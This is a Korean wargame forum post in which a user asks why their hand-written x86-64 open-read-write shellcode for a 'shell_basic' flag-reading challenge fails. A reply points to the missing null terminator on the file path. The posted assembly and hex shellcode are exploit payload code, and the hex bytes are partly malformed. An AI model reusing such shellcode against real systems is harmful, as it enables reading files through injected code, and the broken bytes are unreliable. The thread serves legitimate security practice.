풀이의 코드와 다른점이 사실상 없는데 왜 안되는건가요?
pwntool의 기능이 아닌 직접 코드를 짜서 할려고 하는데 안되네요
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x676E6F6F6F6F6F6F\n"
"push rax \n"
"mov rax, 0x6C5F73695F656D61\n"
"push rax \n"
"mov rax, 0x6E5F67616C662F63\n"
"push rax \n"
"mov rax, 0x697361625F6C6C65\n"
"push rax \n"
"mov rax, 0x68732F656D6F682F \n"
"push rax \n"
"mov rdi, rsp\n"
"xor rsi, rsi\n"
"xor rdx, rdx\n"
"mov rax, 2\n"
"syscall\n"
"mov rdi, rax\n"
"mov rsi, rsp\n"
"sub rsi, 0x30\n"
"mov rdx, 0x30\n"
"mov rax, 0x0\n"
"syscall\n"
"mov rdi, 1\n"
"mov rax, 0x1\n"
"syscall\n"
);
void run_sh();
int main() { run_sh(); }
어셈블리 코드는 다음과 같습니다.
쉘코드는 objdump로 구해서
\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x48\xc7\xc0\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x48\xc7\xc0\x01\x00\x00\x0f\x05
이렇게 나왔고요
#pwnable
작성자 정보
답변
1
chqh
워게임: 1
저도 비슷한 문제로 3시간이나 날렸었네요
한번 "mov rax, 0x676E6F6F6F6F6F6F\n" 푸쉬하기전에 '0x0'을 하나 푸쉬해보시겠어요?
문자열 끝을 인식하는 '\x0'이 메모리에 없어 "/home/shell_basic/flag_name_is_loooooong????" 식으로 인식되서 생기는 문제같더라구여